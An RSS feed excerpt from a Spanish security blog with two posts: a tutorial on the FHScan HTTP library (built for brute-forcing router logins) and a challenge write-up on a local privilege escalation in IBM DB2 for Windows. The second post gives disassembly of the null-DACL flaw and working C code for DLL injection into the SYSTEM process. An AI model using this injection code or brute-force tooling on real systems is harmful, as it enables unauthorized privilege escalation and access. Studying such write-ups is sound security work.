		<link>http://blog.48bits.com/2008/11/13/fscan-10-programando-con-la-api-de-http-de-fscan/</link>
		<comments>http://blog.48bits.com/2008/11/13/fscan-10-programando-con-la-api-de-http-de-fscan/#comments</comments>
		<pubDate>Thu, 13 Nov 2008 14:22:34 +0000</pubDate>
		<dc:creator>Andrés Tarascó</dc:creator>
				<category><![CDATA[48Bits Projects]]></category>
		<category><![CDATA[Noticias]]></category>
		<category><![CDATA[Windows]]></category>
		<category><![CDATA[bruteforcing HTTP]]></category>
		<category><![CDATA[FSCAN]]></category>
		<category><![CDATA[FSCAN HTTP library]]></category>
		<category><![CDATA[FSCAN Library]]></category>
		<category><![CDATA[HTTP request example]]></category>
		<category><![CDATA[simple http request]]></category>

		<guid isPermaLink="false">http://blog.48bits.com/?p=294</guid>
		<description><![CDATA[Para los que lo estabais esperando, aquí está la versión compilada para win32 de Fscan 1.0 (FHScan), orientado a automatizar las tareas de revisión de routers y otros dispositivos HTTP. FHscan Core api es una librería de HTTP/1.1 que fue desarrollada a raíz del proyecto &#8220;Fast HTTP Vulnerability Scanner&#8220;, hasta llegar a convertirse en el [...]]]></description>
			<content:encoded><![CDATA[<p>Para los que lo estabais esperando, aquí está la versión compilada para win32 de <strong><a href='http://www.tarasco.org/security/FHScan_Fast_HTTP_Vulnerability_Scanner/index.html' title='Fscan 1.0'>Fscan 1.0</a></strong> (FHScan), orientado a automatizar las tareas de revisión de routers y otros dispositivos HTTP.</p>
<p><strong><a href="http://www.tarasco.org/security/fhscan_core_library_api/index.html">FHscan Core api</a></strong> es una librería de HTTP/1.1 que fue desarrollada a raíz del proyecto &#8220;<em>Fast HTTP Vulnerability Scanner</em>&#8220;, hasta llegar a convertirse en el núcleo del mismo. Esta librería debía cumplir una serie de requisitos, velocidad, sencillez y flexibilidad, y por supuesto, dado que su objetivo principal era ser utilizada para ataques de fuerza bruta, soporte de varios mecanismos de autenticación (basic, digest y NTLM) así como soporte de compresión gzip/deflate,  callbacks y SSL. El resultado es prometedor y dado que es portable y que me gustaría que la gente pudiese colaborar en su desarrollo, voy a dejar el rollo de exploits por una vez y os voy a contar algún ejemplo de como realizar aplicaciones mas o menos sencillas usando esta API.</p>
<p>Lo único que debéis incluir en vuestra aplicación es el fichero &#8220;<em>HTTP.h</em>&#8221; y una vez hecho esto, inicializar el motor de HTTP con InitHTTPApi(). Esta función se encarga de manter en memoria varias tablas que gestionan las conexiones activas, aunque eso es totalmente transparente para nosotros.</p>
<p>Antes de establecer una conexión es necesario generar un pseudoHandle al sistema remoto. Esto se consigue con la llamada InitHTTPConnectionHandle() cuyos parámetros son el host remoto, el puerto, y si la conexión usa o no SSL.<br />
<code><br />
HTTPHANDLE HTTPHandle=InitHTTPConnectionHandle("blog.48bits.com",80,0);<br />
</code></p>
<p>Una vez generado el Handle, podemos empezar a generar peticiones. Todas estas peticiones se almacenan en una estructura PREQUEST que comentaremos más adelante. Véase un ejemplo de como realizar una peticion a la web de 48bits.</p>
<div class="dean_ch" style="white-space: wrap;"><span class="co2">#include &quot;HTTP.h&quot;</span></p>
<p><span class="kw4">void</span> main<span class="br0">&#40;</span><span class="kw4">int</span> argc, <span class="kw4">char</span> *argv<span class="br0">&#91;</span><span class="br0">&#93;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></p>
<p>InitHTTPApi<span class="br0">&#40;</span><span class="br0">&#41;</span>; <span class="co1">//Inicialización del motor HTTP</span></p>
<p>HTTPHANDLE HTTPHandle = InitHTTPConnectionHandle<span class="br0">&#40;</span><span class="st0">&quot;blog.48bits.com&quot;</span>,<span class="nu0">80</span>,<span class="nu0">0</span><span class="br0">&#41;</span>; </p>
<p>PREQUEST DATA=SendHttpRequest<span class="br0">&#40;</span>HTTPHandle,<span class="kw2">NULL</span>,<span class="st0">&quot;GET&quot;</span>,<span class="st0">&quot;/&quot;</span>,<span class="kw2">NULL</span>,<span class="kw2">NULL</span>,<span class="kw2">NULL</span>,NO_AUTH<span class="br0">&#41;</span>;<br />
<span class="co1">//do stuff with the data&#8230;.</span></p>
<p><span class="kw1">if</span> <span class="br0">&#40;</span>DATA<span class="br0">&#41;</span> FreeRequest<span class="br0">&#40;</span>DATA<span class="br0">&#41;</span>; <span class="co1">//liberamos la memoria de la petición</span></p>
<p>CloseHTTPConnectionHandle<span class="br0">&#40;</span>HTTPHandle<span class="br0">&#41;</span>; <span class="co1">//Liberamos el Handle</span></p>
<p>CloseHTTPApi<span class="br0">&#40;</span><span class="br0">&#41;</span>; <span class="co1">//Paramos el motor HTTP</span><br />
<span class="br0">&#125;</span></div>
<p><span id="more-294"></span><br />
La función SendHttpRequest() tiene 8 parámetros  de  los cuales 5 de ellos son opcionales.<br />
<center><br />
<a href='http://www.tarasco.org/security/fscan-core/html/_h_t_t_p_8cpp.html#6311d4aeb3deebe9e7b64d3ffd2a951a' title='SendHTTPRequest Function'><img src='http://blog.48bits.com/wp-content/uploads/2008/11/sendhttprequest.jpg' alt='SendHTTPRequest Function' /></a></center></p>
<p>- El primer parámetro es HANDLE al servidor HTTP remoto.<br />
- El segundo parámetro es un vhost opcional que se enviará en la cabecera &#8220;Host: vhost&#8221;. Si no se especifica, se utilizará el valor de la llamada <strong>InitHTTPConnectionHandle()</strong><br />
- El tercer parámetro es el método HTTP utilizado. Este puede ser &#8220;GET&#8221;,&#8221;POST&#8221;,&#8221;PUT&#8221;,&#8221;WHATEVER&#8221;,&#8230;<br />
- El cuarto parámetro son los datos enviados al servidor. en una petición GET, para  acceder a &#8220;http://blog.48bits.com/?p=287&#8243; deberíamos incluir &#8220;p=287&#8243; en ese parámetro<br />
- El quinto y sexto parámetro son también opcionales y especifican el usuario y la contraseña.<br />
- El séptimo y último parámetro, es el tipo de autenticación utilizado. Si dejamos el valor por defecto ( 0 o NO_AUTH) el sistema lo negociará automáticamente.</p>
<p>Dado que ya está más o menos claro como enviar una petición, vamos a ver como se estructura la información devuelta, es decir, la estructura PREQUEST. </p>
<div class="dean_ch" style="white-space: wrap;">
<span class="kw4">char</span> &nbsp; &nbsp;hostname <span class="br0">&#91;</span><span class="nu0">256</span><span class="br0">&#93;</span>; <span class="co1">//&lt;&#8211; host o vhost sobre el que se ha hecho la petición</span><br />
<span class="kw4">int</span> &nbsp; &nbsp; ip; <span class="co1">//&lt;- dirección ip &nbsp;de un sockaddr_in</span><br />
<span class="kw4">int</span> &nbsp; &nbsp; port; <span class="co1">//&lt;- puerto al que se establece la conexión</span><br />
<span class="kw4">int</span> &nbsp; &nbsp; NeedSSL; <span class="co1">//&lt;- Indica si la petición ha utilizado SSL (1) o no ( 0)</span><br />
<span class="kw4">char</span> &nbsp; &nbsp;url <span class="br0">&#91;</span><span class="nu0">512</span><span class="br0">&#93;</span>; <span class="co1">//&lt;- dirección URL contra la que se ha realizado la peticion HTTP</span><br />
PHTTP_DATA &nbsp; &nbsp; &nbsp;request; <span class="co1">//&lt;- DATOS ENVIADOS</span><br />
PHTTP_DATA &nbsp; &nbsp; &nbsp;response; <span class="co1">//&lt;- DATOS RECIBIDOS</span><br />
<span class="kw4">char</span> * &nbsp;server; &nbsp; <span class="co1">//&lt;- banner del servidor Web</span><br />
<span class="kw4">unsigned</span> <span class="kw4">int</span> &nbsp; &nbsp;status &nbsp;<span class="co1">//&lt;- código HTTP de la respuesta (200 si la pagina existe, 401 para acceso denegado,..)</span><br />
<span class="kw4">unsigned</span> <span class="kw4">int</span> &nbsp; &nbsp;challenge <span class="co1">//&lt;- tipo de autenticacion requerida por el servidor web (en base a la cabecera www-authenticate)</span><br />
&nbsp;</div>
<p>un sencillo ejemplo:</p>
<div class="dean_ch" style="white-space: wrap;"><a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;Host: %s port: %i URL: %s &#8211; status: %i<span class="es0">\n</span>&quot;</span>,DATA-&gt;hostname, DATA-&gt;port, DATA-&gt;url, DATA-&gt;status<span class="br0">&#41;</span>;</div>
<p>devolvería:</p>
<p><em>Host: blog.48bits.com port: 80 URL: /index.html &#8211; status: 200</em></p>
<p>Por último queda comentar los datos almacenados dentro de la estructura PHTTP_DATA (campos request y response). Esta es también una estructura sencilla que contiene los siguientes campos</p>
<div class="dean_ch" style="white-space: wrap;">
<span class="kw4">char</span> *Header; &nbsp;<span class="co1">// Cabeceras HTTP enviadas o recibidas</span><br />
<span class="kw4">unsigned</span> <span class="kw4">int</span> &nbsp; &nbsp;HeaderSize; <span class="co1">//Tamaño de las cabeceras HTTP</span><br />
<span class="kw4">char</span> *Data; <span class="co1">//Datos enviados (por ejemplo en una peticion POST) o recibidos (por ejemplo el codigo html)</span><br />
<span class="kw4">unsigned</span> <span class="kw4">int</span> &nbsp; &nbsp;DataSize; <span class="co1">//tamaño del buffer</span><br />
&nbsp;</div>
<p>para ilustrar con mas detalle esto, aqui viene el ejemplo final <img src='http://blog.48bits.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<div class="dean_ch" style="white-space: wrap;">
<span class="co2">#include &quot;HTTP.h&quot;</span><br />
<span class="kw4">void</span> main<span class="br0">&#40;</span><span class="kw4">int</span> argc, <span class="kw4">char</span> *argv<span class="br0">&#41;</span><br />
<span class="br0">&#123;</span><br />
InitHTTPApi<span class="br0">&#40;</span><span class="br0">&#41;</span>;<br />
HTTPHANDLE HTTPHandle = InitHTTPConnectionHandle<span class="br0">&#40;</span><span class="st0">&quot;blog.48bits.com&quot;</span>,<span class="nu0">80</span>,<span class="nu0">0</span><span class="br0">&#41;</span>;<br />
<span class="kw1">if</span> <span class="br0">&#40;</span>HTTPHandle<span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp;PREQUEST DATA= SendHttpRequest<span class="br0">&#40;</span>HTTPHandle,<span class="kw2">NULL</span>,<span class="st0">&quot;GET&quot;</span>,<span class="st0">&quot;/&quot;</span>,<span class="st0">&quot;p=290&quot;</span>,<span class="kw2">NULL</span>,<span class="kw2">NULL</span>,NO_AUTH<span class="br0">&#41;</span>;<br />
&nbsp;<span class="kw1">if</span> <span class="br0">&#40;</span>DATA<span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;Host: %s port: %i URL: %s &#8211; status: %i<span class="es0">\n</span>&quot;</span>,DATA-&gt;hostname, DATA-&gt;port, DATA-&gt;url, DATA-&gt;status<span class="br0">&#41;</span>;<br />
&nbsp; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;Peticion %i bytes:<span class="es0">\n</span>%s<span class="es0">\n</span>&quot;</span>,DATA-&gt;request-&gt;HeaderSize,DATA-&gt;request-&gt;Header<span class="br0">&#41;</span>;<br />
&nbsp; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;Respuesta %i bytes<span class="es0">\n</span>%s<span class="es0">\n</span>&quot;</span>,DATA-&gt;response-&gt;HeaderSize,DATA-&gt;response-&gt;Header<span class="br0">&#41;</span>;<br />
&nbsp; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;Datos %i bytes<span class="es0">\n</span>%s<span class="es0">\n</span>&quot;</span>,DATA-&gt;response-&gt;DataSize,DATA-&gt;response-&gt;Data<span class="br0">&#41;</span>;<br />
&nbsp; FreeRequest<span class="br0">&#40;</span>DATA<span class="br0">&#41;</span>;<br />
&nbsp;<span class="br0">&#125;</span><br />
&nbsp;CloseHTTPConnectionHandle<span class="br0">&#40;</span>HTTPHandle<span class="br0">&#41;</span>;<br />
<span class="br0">&#125;</span><br />
<span class="br0">&#125;</span>&nbsp; &nbsp; &nbsp; &nbsp;<br />
&nbsp;</div>
<p>y la salida devuelta por la aplicación</p>
<p><em><strong>Host: blog.48bits.com port: 80 URL: / &#8211; status: 200<br />
Peticion 136 bytes:</strong><br />
GET /?p=290 HTTP/1.1<br />
Host: blog.48bits.com<br />
User-Agent: Mozilla/5.0 (FSCAN)<br />
Accept-Encoding: gzip, deflate<br />
Connection: keep-alive</p>
<p><strong>Respuesta 433 bytes</strong><br />
HTTP/1.1 200 OK<br />
Date: Thu, 13 Nov 2008 13:12:15 GMT<br />
Server: Apache/2.2.3 (Debian) DAV/2 SVN/1.4.2 mod_python/3.2.10 Python/2.4.4 PHP/5.2.0-8+etch13 mod_ssl/2.2.3<br />
OpenSSL/0.9.8c mod_perl/2.0.2 Perl/v5.8.8<br />
X-Powered-By: PHP/5.2.0-8+etch13<br />
X-Pingback: http://blog.48bits.com/xmlrpc.php<br />
Vary: Accept-Encoding<br />
Keep-Alive: timeout=15, max=100<br />
Connection: Keep-Alive<br />
Content-Type: text/html; charset=UTF-8<br />
Content-Length: 19038</p>
<p><strong>Datos 19038 bytes</strong><br />
//aqui va todo el código html devuelto por la página web..<br />
</em><br />
Obviamente este es un ejemplo sencillo, pero es mucho más potente. Como primicia, si queréis mas información, podéis descargar la librería HTTP de Fscan en <a href="http://www.tarasco.org/security/fscan-core/">http://www.tarasco.org/security/fscan-core/</a> y consultar la documentación HTML que hay generada.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.48bits.com/2008/11/13/fscan-10-programando-con-la-api-de-http-de-fscan/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>Solución al exploit4f00d #2</title>
		<link>http://blog.48bits.com/2008/07/20/solucion-al-exploit4f00d-2/</link>
		<comments>http://blog.48bits.com/2008/07/20/solucion-al-exploit4f00d-2/#comments</comments>
		<pubDate>Sun, 20 Jul 2008 10:54:45 +0000</pubDate>
		<dc:creator>matalaz</dc:creator>
				<category><![CDATA[48Bits Projects]]></category>

		<guid isPermaLink="false">http://blog.48bits.com/?p=258</guid>
		<description><![CDATA[Visto que con las vacaciones, las prequals y demás todo el mundo ha pasado de este reto pues ya va siendo hora de sacar la solución. La falla en cuestión se encontraba en la base de datos Ora.., digo, IBM DB2 v9.5 para Windows y era una escalada de privilegios local.Esta falla era realmente fácil [...]]]></description>
			<content:encoded><![CDATA[<p>Visto que con las vacaciones, las <a href="http://sexy.pandas.es/blog/category/prequals/">prequals </a>y demás todo el mundo ha pasado de este reto pues ya va siendo hora de sacar la solución. La falla en cuestión se encontraba en la base de datos Ora.., digo, IBM DB2 v9.5 para Windows y era una escalada de privilegios local.Esta falla era realmente fácil de encontrar: Descargamos el enorme paquete de instalación desde el sitio de IBM, lo instalamos y lo primero que haría cualquiera es ver con Process Explorer que es lo que hacen más o menos los servicios que instala. Como podéis ver en la siguiente imagen, el resto es tontería:</p>
<p><img src="http://img390.imageshack.us/img390/4372/ibmdb2yo6.png" alt="IBM Deve Dos" border="0" /></p>
<p><span id="more-258"></span></p>
<p>¿Alguna pregunta niñ@s? Todos los procesos que instala IBM DB2 en Windows se ejecutan como NT AUTHORITY\SYSTEM, sin embargo, el proceso db2dasstm.exe se ejecuta de un modo chapucero consiguiendo que cualquiera pueda hacer lo que quiera con el proceso.</p>
<p>El proceso padre db2dassrm.exe ejecuta este proceso mediante una llamada a <a href="http://msdn.microsoft.com/en-us/library/ms682429(VS.85).aspx">CreateProcessAsUser</a> pasándole un descriptor de seguridad nulo. En el siguiente código ensamblador se muestra el fragmento en el que se crea el descriptor de seguridad:<br />
<font face="monospace"><br />
</font></p>
<blockquote><p><font face="monospace"><font color="#804040"><strong>lea</strong></font> eax, [ebp+<font color="#008080">pSecurityDescriptor</font>]</font><br />
<font face="monospace"> <font color="#804040"><strong>push</strong></font> <font color="#ff00ff">1</font> <font color="#0000ff">; dwRevision</font></font><br />
<font face="monospace"> <font color="#804040"><strong>push</strong></font> eax <font color="#0000ff">; pSecurityDescriptor</font></font><br />
<font face="monospace"> <font color="#804040"><strong>call</strong></font> ds:<font color="#008080">InitializeSecurityDescriptor</font> <font color="#0000ff">; Create the Security Descriptor</font></font><br />
<font face="monospace"> <font color="#804040"><strong>test</strong></font> eax, eax</font><br />
<font face="monospace"> <font color="#804040"><strong>jz</strong></font> <font color="#008080">loc_407943</font></font><br />
<font face="monospace"> <font color="#804040"><strong>lea</strong></font> edx, [ebp+<font color="#008080">pSecurityDescriptor</font>]</font><br />
<font face="monospace"> <font color="#804040"><strong>xor</strong></font> eax, eax <font color="#0000ff">; Clear EAX</font></font><br />
<font face="monospace"> <font color="#804040"><strong>push</strong></font> eax <font color="#0000ff">; bDaclDefaulted</font></font><br />
<font face="monospace"> <font color="#804040"><strong>push</strong></font> eax <font color="#0000ff">; pDacl == 0, null DACL</font></font><br />
<font face="monospace"> <font color="#804040"><strong>push</strong></font> <font color="#ff00ff">1</font> <font color="#0000ff">; bDaclPresent</font></font><br />
<font face="monospace"> <font color="#804040"><strong>push</strong></font> edx <font color="#0000ff">; pSecurityDescriptor</font></font><br />
<font face="monospace"> <font color="#804040"><strong>call</strong></font> ds:<font color="#008080">SetSecurityDescriptorDacl</font> <font color="#0000ff">;</font></font><br />
<font face="monospace"> <font color="#0000ff">;SetSecurityDescriptorDacl(&#038;pSecurityDescriptor, 1, 0, 0);</font></font><br />
<font face="monospace"> <font color="#0000ff">;Obviously, it leads to privilege scalation.</font></font><br />
<font face="monospace"> <font color="#804040"><strong>test</strong></font> eax, eax</font><br />
<font face="monospace"> <font color="#804040"><strong>jz</strong></font> <font color="#008080">loc_4078F6</font></font><br />
<font face="monospace"> <font color="#804040"><strong>mov</strong></font> edx, [ebp+<font color="#008080">var_C</font>]</font><br />
<font face="monospace"> <font color="#804040"><strong>lea</strong></font> eax, [ebp+<font color="#008080">pSecurityDescriptor</font>]</font><br />
<font face="monospace"> <font color="#804040"><strong>mov</strong></font> ecx, [edx+<font color="#ff00ff">200h</font>]</font><br />
<font face="monospace"> <font color="#804040"><strong>mov</strong></font> [ebp+<font color="#008080">ProcessAttributes.lpSecurityDescriptor</font>], eax</font><br />
<font face="monospace"> <font color="#0000ff">;ProcessAttributes.lpSecurityDescriptor = pSecurityDescriptor;</font></font><br />
<font face="monospace"> </font></p>
</blockquote>
<p>Como se puede ver, el parámetro pDacl pasado para crear el descriptor es un 0, lo cual indica que no tiene ninguna lista de control de acceso asignada, otorgando privilegios a cualquier usuario del mundo mundial (osea, Bilbao). Según la documentación de Microsoft:</p>
<blockquote><p> pDacl</p>
<p>A pointer to an ACL structure that specifies the DACL for the security descriptor. If this parameter is NULL, a NULL DACL is assigned to the security descriptor, which allows all access to the object. The DACL is referenced by, not copied into, the security descriptor.</p>
</blockquote>
<p>La lista de acceso (pDacl) que se crea se asigna al miembro lpSecurityDescriptor de la estructura ProcessAtributes, utilizada a posteriori para la llamada a CreateProcessAsUser:</p>
<blockquote><p><font face="monospace"><font color="#008080">loc_40782D</font>:                             <font color="#0000ff">; CODE XREF: sub_407460+385</font></font><br />
<font face="monospace"> </font></p>
<p><font face="monospace"><font color="#804040"><strong> lea</strong></font>     edi, [ebp+<font color="#008080">ProcessAttributes</font>] <font color="#0000ff">; EDI = ProcessAttributes</font></font><br />
<font face="monospace"> <font color="#804040"><strong>lea</strong></font>     ecx, [ebp+<font color="#008080">StartupInfo</font>]</font><br />
<font face="monospace"> <font color="#804040"><strong>lea</strong></font>     edx, [ebp+<font color="#008080">ProcessInformation</font>]</font><br />
<font face="monospace"> <font color="#804040"><strong>push</strong></font>    edx             <font color="#0000ff">; lpProcessInformation</font></font><br />
<font face="monospace"> <font color="#804040"><strong>xor</strong></font>     eax, eax</font><br />
<font face="monospace"> <font color="#804040"><strong>push</strong></font>    ecx             <font color="#0000ff">; lpStartupInfo</font></font><br />
<font face="monospace"> <font color="#804040"><strong>push</strong></font>    eax             <font color="#0000ff">; lpCurrentDirectory</font></font><br />
<font face="monospace"> <font color="#804040"><strong>push</strong></font>    eax             <font color="#0000ff">; lpEnvironment</font></font><br />
<font face="monospace"> <font color="#804040"><strong>push</strong></font>    <font color="#ff00ff">8000200h</font>        <font color="#0000ff">; dwCreationFlags</font></font><br />
<font face="monospace"> <font color="#804040"><strong>push</strong></font>    eax             <font color="#0000ff">; bInheritHandles</font></font><br />
<font face="monospace"> <font color="#804040"><strong>push</strong></font>    edi             <font color="#0000ff">; lpThreadAttributes  -&gt; Our ProcessAttributes</font></font><br />
<font face="monospace"> <font color="#804040"><strong>push</strong></font>    edi             <font color="#0000ff">; lpProcessAttributes -&gt; Our ProcessAttributes</font></font><br />
<font face="monospace"> <font color="#804040"><strong>lea</strong></font>     edx, [ebp+<font color="#008080">CommandLine</font>]</font><br />
<font face="monospace"> <font color="#804040"><strong>push</strong></font>    edx             <font color="#0000ff">; lpCommandLine</font></font><br />
<font face="monospace"> <font color="#804040"><strong>push</strong></font>    eax             <font color="#0000ff">; lpApplicationName</font></font><br />
<font face="monospace"> <font color="#804040"><strong>mov</strong></font>     eax, [ebp+<font color="#008080">hObject</font>]</font><br />
<font face="monospace"> <font color="#804040"><strong>push</strong></font>    eax             <font color="#0000ff">; hToken</font></font><br />
<font face="monospace"> <font color="#804040"><strong>call</strong></font>    ds:<font color="#008080">CreateProcessAsUserA</font> <font color="#0000ff">; Finally, create the process</font></font><br />
<font face="monospace"> <font color="#804040"><strong>mov</strong></font>     [ebp+<font color="#008080">lstmtPath</font>], eax</font></p>
</blockquote>
<p>Los privilegios del proceso creado de este modo permiten que cualquier usuario del sistema pueda hacer lo que quiera con el proceso. ¿Qué hacer para aprovechar esta vulnerabilidad? Seguro que sabéis medios muy imaginativos pero, yo que soy un vago, me quedo con el DLL injection de toda la vida y a correr. Con el siguiente código, pasándole el PID del proceso que ha creado inyectará la DLL que nos dé la gana:</p>
<blockquote><p><font face="monospace"> <font color="#2e8b57"><strong>int</strong></font> mainLogic(<font color="#2e8b57"><strong>int</strong></font> pid, <font color="#2e8b57"><strong>char</strong></font> *dllName)</font><br />
<font face="monospace">{</font><br />
<font face="monospace">HANDLE hprocess;</font><br />
<font face="monospace">LPVOID RemoteString, LoadLibAddy;</font></p>
<p><font face="monospace">        printf(<font color="#ff00ff">&#8220;[+] Using values </font><font color="#6a5acd">%d</font><font color="#ff00ff"> and </font><font color="#6a5acd">%s</font><font color="#ff00ff"> &#8230; </font><font color="#6a5acd">\n</font><font color="#ff00ff">&#8220;</font>, pid, dllName);</font></p>
<p><font face="monospace">        <font color="#0000ff">// Open the process</font></font><br />
<font face="monospace">        hprocess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, (<font color="#2e8b57"><strong>int</strong></font>)pid);</font></p>
<p><font face="monospace">        <font color="#804040"><strong>if</strong></font>(!hprocess)</font><br />
<font face="monospace">        {</font><br />
<font face="monospace">printf(<font color="#ff00ff">&#8220;OpenProcess() failed: </font><font color="#6a5acd">%d</font><font color="#ff00ff">&#8220;</font>, GetLastError());</font><br />
<font face="monospace"><font color="#804040"><strong>return</strong></font>(<font color="#ff00ff">1</font>);</font><br />
<font face="monospace">        }</font></p>
<p><font face="monospace">         <font color="#0000ff">// Get the address of LoadLibrary</font></font><br />
<font face="monospace">        LoadLibAddy = (LPVOID)GetProcAddress(GetModuleHandle(_T(<font color="#ff00ff">&#8220;kernel32.dll&#8221;</font>)), <font color="#ff00ff">&#8220;LoadLibraryA&#8221;</font>);</font></p>
<p><font face="monospace">        <font color="#804040"><strong>if</strong></font>(!LoadLibAddy)</font><br />
<font face="monospace">        {</font><br />
<font face="monospace">                printf(<font color="#ff00ff">&#8220;GetProcAddress() failed: </font><font color="#6a5acd">%d</font><font color="#ff00ff">&#8220;</font>, GetLastError());</font><br />
<font face="monospace">                <font color="#804040"><strong>return</strong></font>(<font color="#ff00ff">1</font>);</font><br />
<font face="monospace">        }</font></p>
<p><font face="monospace"> </font><font face="monospace">        <font color="#0000ff">// Reserve a region of pages in the virtual address space</font></font><br />
<font face="monospace">        RemoteString = (LPVOID)VirtualAllocEx(hprocess, <font color="#ff00ff">NULL</font>, strlen(dllName), MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE);</font></p>
<p><font face="monospace"> </font><font face="monospace">        <font color="#804040"><strong>if</strong></font>(!RemoteString)</font><br />
<font face="monospace">        {</font><br />
<font face="monospace">                printf(<font color="#ff00ff">&#8220;VirtualAllocEx() failed: </font><font color="#6a5acd">%d</font><font color="#ff00ff">&#8220;</font>, GetLastError());</font><br />
<font face="monospace">                <font color="#804040"><strong>return</strong></font>(<font color="#ff00ff">1</font>);</font><br />
<font face="monospace">        }</font></p>
<p><font face="monospace"><font color="#0000ff">// Write the DLL name to the process&#8217;s virtual address space</font></font><br />
<font face="monospace">        <font color="#804040"><strong>if</strong></font>(!WriteProcessMemory(hprocess, (LPVOID)RemoteString, dllName, strlen(dllName), <font color="#ff00ff">NULL</font>))</font><br />
<font face="monospace">        {</font><br />
<font face="monospace">                printf(<font color="#ff00ff">&#8220;WriteProcessMemory() failed: </font><font color="#6a5acd">%d</font><font color="#ff00ff">&#8220;</font>, GetLastError());</font><br />
<font face="monospace">                <font color="#804040"><strong>return</strong></font>(<font color="#ff00ff">1</font>);</font><br />
<font face="monospace">        }</font></p>
<p><font face="monospace"><font color="#0000ff">// Create a remote thread and pass as the callback the address of LoadLibraryA</font></font><br />
<font face="monospace">        <font color="#804040"><strong>if</strong></font>(!CreateRemoteThread(hprocess, <font color="#ff00ff">NULL</font>, <font color="#ff00ff">NULL</font>, (LPTHREAD_START_ROUTINE)LoadLibAddy, (LPVOID)RemoteString, <font color="#ff00ff">NULL</font>, <font color="#ff00ff">NULL</font>))</font><br />
<font face="monospace">        {</font><br />
<font face="monospace">                printf(<font color="#ff00ff">&#8220;CreateRemoteThread() failed: </font><font color="#6a5acd">%d</font><font color="#ff00ff">&#8220;</font>, GetLastError());</font><br />
<font face="monospace">                <font color="#804040"><strong>return</strong></font>(<font color="#ff00ff">1</font>);</font><br />
<font face="monospace">         }</font></p>
<p><font face="monospace"><font color="#0000ff">// Close the handle and exit</font></font><br />
<font face="monospace">         CloseHandle(hprocess);</font><br />
<font face="monospace">         <font color="#804040"><strong>return</strong></font>(<font color="#ff00ff">0</font>);</font><br />
<font face="monospace">}</font></p>
</blockquote>
<p>Una falla superobvia que se encuentra con tan solo 5 minutos de auditoría &#8220;por encima&#8221;.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.48bits.com/2008/07/20/solucion-al-exploit4f00d-2/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>

